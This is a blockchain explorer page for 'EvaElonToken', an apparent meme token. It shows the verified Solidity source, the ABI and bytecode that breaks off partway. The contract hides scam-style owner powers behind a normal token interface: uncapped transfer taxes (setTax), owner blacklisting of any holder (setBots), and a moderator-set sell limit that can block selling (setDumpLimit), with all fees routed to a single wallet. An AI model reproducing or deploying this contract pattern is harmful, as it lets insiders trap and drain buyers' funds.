ETH Price: $3,431.83 (-7.02%)

Token

EvaElonToken (EvaElon)
 

Overview

Max Total Supply

200,000,000 EvaElon

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
2,659,918 EvaElon

Value
$0.00
0x5C46C5a184E93fb7cb72f039968D05d2CCcAF117
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EvaElonToken

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-19
*/

/**
 * TELEGRAM t.me/EvaElonToken
 * Elon's tweet play
*/
// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.4;

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);

	function balanceOf(address account) external view returns (uint256);

	function transfer(address recipient, uint256 amount) external returns (bool);

	function allowance(address owner, address spender) external view returns (uint256);

	function approve(address spender, uint256 amount) external returns (bool);

	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;

	event OwnershipTransferred(address indexed oldie, address indexed newbie);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender() , "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EvaElonToken is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping(address => uint256) private _rOwned;
	mapping(address => mapping(address => uint256)) private _allowances;
	mapping(address => bool) private _isExcludedFromFee;
	mapping(address => bool) private bots;
	mapping(address => uint) private cooldown;
	uint256 private constant MAX = ~uint256(0);
	uint256 private _tTotal = 200000000 ;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;

	uint256 private _taxAddr1;
	uint256 private _taxAddr2;
	address payable private _taxAddrWallet1;
	address payable private _taxAddrWallet2;

	string private constant _name = "EvaElonToken";
	string private constant _symbol = "EvaElon";
	uint8 private constant _decimals = 0;

	IUniswapV2Router02 private uniswapV2Router;
	address private uniswapV2Pair;
	bool private tradingOpen;
	bool private inSwap = false;
	bool private swapEnabled = false;
	bool private cooldownEnabled = false;
	address private _moderator;
	uint256 private _maxDump = _tTotal;
	event MaxDumpAmountUpdated(uint _maxDump);
	modifier lockTheSwap {
		inSwap = true;
		_;
		inSwap = false;
	}
	constructor () {
		_taxAddrWallet1 = payable(0x678673C1DAa1Dd7DF5B0f19133B1f591b1311632);
		_taxAddrWallet2 = payable(0x678673C1DAa1Dd7DF5B0f19133B1f591b1311632);
		_rOwned[_msgSender()] = _rTotal;
		_isExcludedFromFee[owner()] = true;
		_isExcludedFromFee[address(this)] = true;
		_moderator=owner();
		uniswapV2Router =  IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
		_isExcludedFromFee[_taxAddrWallet1] = true;
		_isExcludedFromFee[_taxAddrWallet2] = true;
		_taxAddr1 = 1;
		_taxAddr2 = 8;
		emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public  view override returns  (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}


	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function setCooldownEnabled(bool onoff) external onlyOwner {
		cooldownEnabled = onoff;
	}

	function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function setTax(uint tax1, uint tax2) external onlyOwner{
		require(tax1>=0 && tax2>=0,"Tax must be non-negative");
		_taxAddr1=tax1;
		_taxAddr2=tax2;
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");

		if (from != owner() && to != owner()) {
			require(!bots[from] && !bots[to]);
			if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
				// Cooldown
				require(cooldown[to] < block.timestamp);
				cooldown[to] = block.timestamp + (10 seconds);
			}

			if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
				require(amount <= _maxDump);
			}
			uint256 contractTokenBalance = balanceOf(address(this));
			if (!inSwap && from != uniswapV2Pair && swapEnabled) {
				swapTokensForEth(contractTokenBalance);
				uint256 contractETHBalance = address(this).balance;
				if (contractETHBalance > 0) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		_tokenTransfer(from, to, amount);
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = uniswapV2Router.WETH();
		_approve(address(this), address(uniswapV2Router), tokenAmount);
		uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
	}

	function sendETHToFee(uint256 amount) private {
		_taxAddrWallet1.transfer(amount.div(2));
		_taxAddrWallet2.transfer(amount.div(2));
	}

	function openTrading() external onlyOwner() {
		require(!tradingOpen, "Trading is already open");
		_approve(address(this), address(uniswapV2Router), _tTotal);
		uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
		uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
		swapEnabled = true;
		cooldownEnabled = true;
		_maxDump = 10000000000 * 10** 9;
		tradingOpen = true;
		IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
	}

	function setBots(address[] memory bots_) public onlyOwner {
		for (uint i = 0; i < bots_.length; i++) {
			bots[bots_[i]] = true;
		}
	}

	modifier moderator() {
		require(_moderator == _msgSender() );
		_;
	}

	function delBot(address notbot) public onlyOwner {
		bots[notbot] = false;
	}

	function _tokenTransfer(address sender, address recipient, uint256 amount) private {
		_transferStandard(sender, recipient, amount);
	}

	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeTeam(tTeam);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _takeTeam(uint256 tTeam) private {
		uint256 currentRate = _getRate();
		uint256 rTeam = tTeam.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	receive() external payable {}

	function manualSwap() external {
		require(_msgSender() == _taxAddrWallet1);
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function manualSend() external {
		require(_msgSender() == _taxAddrWallet1);
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxAddr1, _taxAddr2);
		uint256 currentRate = _getRate();
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
	}

	function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
		uint256 tFee = tAmount.mul(taxFee).div(100);
		uint256 tTeam = tAmount.mul(TeamFee).div(100);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
		return (tTransferAmount, tFee, tTeam);
	}

	function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rTeam = tTeam.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}
	function setDumpLimit(uint256 limit) external moderator {
		_maxDump = limit;
	}



	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxDump","type":"uint256"}],"name":"MaxDumpAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"setDumpLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tax1","type":"uint256"},{"internalType":"uint256","name":"tax2","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052630bebc2006006556006546000196200001e9190620005cf565b6000196200002d91906200058a565b6007556000600e60156101000a81548160ff0219169083151502179055506000600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff0219169083151502179055506006546010553480156200009457600080fd5b506000620000a76200052b60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073678673c1daa1dd7df5b0f19133b1f591b1311632600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073678673c1daa1dd7df5b0f19133b1f591b1311632600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460016000620002066200052b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200025a6200053360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003136200053360201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016009819055506008600a81905550620004bc6200052b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200051d91906200056d565b60405180910390a362000665565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200056781620005c5565b82525050565b60006020820190506200058460008301846200055c565b92915050565b60006200059782620005c5565b9150620005a483620005c5565b925082821015620005ba57620005b962000607565b5b828203905092915050565b6000819050919050565b6000620005dc82620005c5565b9150620005e983620005c5565b925082620005fc57620005fb62000636565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6135bc80620006756000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a0578063aac3cd0311610064578063aac3cd0314610398578063b515566a146103c1578063c9567bf9146103ea578063dd62ed3e14610401578063f42938901461043e5761011f565b806370a08231146102b1578063715018a6146102ee5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d57806351bc3c85146102485780635932ead11461025f578063667f6526146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612ccd565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906127d7565b610492565b6040516101839190612cb2565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612e4f565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612788565b6104ba565b6040516101eb9190612cb2565b60405180910390f35b34801561020057600080fd5b5061021b600480360381019061021691906126fa565b610593565b005b34801561022957600080fd5b50610232610683565b60405161023f9190612ec4565b60405180910390f35b34801561025457600080fd5b5061025d610688565b005b34801561026b57600080fd5b5061028660048036038101906102819190612854565b610702565b005b34801561029457600080fd5b506102af60048036038101906102aa91906128cf565b6107b4565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906126fa565b6108ac565b6040516102e59190612e4f565b60405180910390f35b3480156102fa57600080fd5b506103036108fd565b005b34801561031157600080fd5b5061031a610a50565b6040516103279190612be4565b60405180910390f35b34801561033c57600080fd5b50610345610a79565b6040516103529190612ccd565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906127d7565b610ab6565b60405161038f9190612cb2565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906128a6565b610ad4565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612813565b610b3f565b005b3480156103f657600080fd5b506103ff610c8f565b005b34801561040d57600080fd5b506104286004803603810190610423919061274c565b6111cd565b6040516104359190612e4f565b60405180910390f35b34801561044a57600080fd5b50610453611254565b005b60606040518060400160405280600c81526020017f457661456c6f6e546f6b656e0000000000000000000000000000000000000000815250905090565b60006104a661049f6112c6565b84846112ce565b6001905092915050565b6000600654905090565b60006104c7848484611499565b610588846104d36112c6565b6105838560405180606001604052806028815260200161355f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105396112c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7e9092919063ffffffff16565b6112ce565b600190509392505050565b61059b6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90612daf565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c96112c6565b73ffffffffffffffffffffffffffffffffffffffff16146106e957600080fd5b60006106f4306108ac565b90506106ff81611ae2565b50565b61070a6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90612daf565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6107bc6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084090612daf565b60405180910390fd5b6000821015801561085b575060008110155b61089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612e2f565b60405180910390fd5b8160098190555080600a819055505050565b60006108f6600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ddc565b9050919050565b6109056112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098990612daf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f457661456c6f6e00000000000000000000000000000000000000000000000000815250905090565b6000610aca610ac36112c6565b8484611499565b6001905092915050565b610adc6112c6565b73ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b8060108190555050565b610b476112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcb90612daf565b60405180910390fd5b60005b8151811015610c8b57600160046000848481518110610c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c8390613165565b915050610bd7565b5050565b610c976112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90612daf565b60405180910390fd5b600e60149054906101000a900460ff1615610d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6b90612d4f565b60405180910390fd5b610da330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546112ce565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e439190612723565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec757600080fd5b505afa158015610edb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eff9190612723565b6040518363ffffffff1660e01b8152600401610f1c929190612bff565b602060405180830381600087803b158015610f3657600080fd5b505af1158015610f4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6e9190612723565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ff7306108ac565b600080611002610a50565b426040518863ffffffff1660e01b815260040161102496959493929190612c51565b6060604051808303818588803b15801561103d57600080fd5b505af1158015611051573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611076919061290b565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611178929190612c28565b602060405180830381600087803b15801561119257600080fd5b505af11580156111a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ca919061287d565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112956112c6565b73ffffffffffffffffffffffffffffffffffffffff16146112b557600080fd5b60004790506112c381611e4a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612e0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a590612d2f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161148c9190612e4f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150090612def565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157090612cef565b60405180910390fd5b600081116115bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b390612dcf565b60405180910390fd5b6115c4610a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116325750611602610a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6e57600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116db5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e457600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e55750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fd5750600e60179054906101000a900460ff165b1561189e5742600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184d57600080fd5b600a4261185a9190612f85565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffff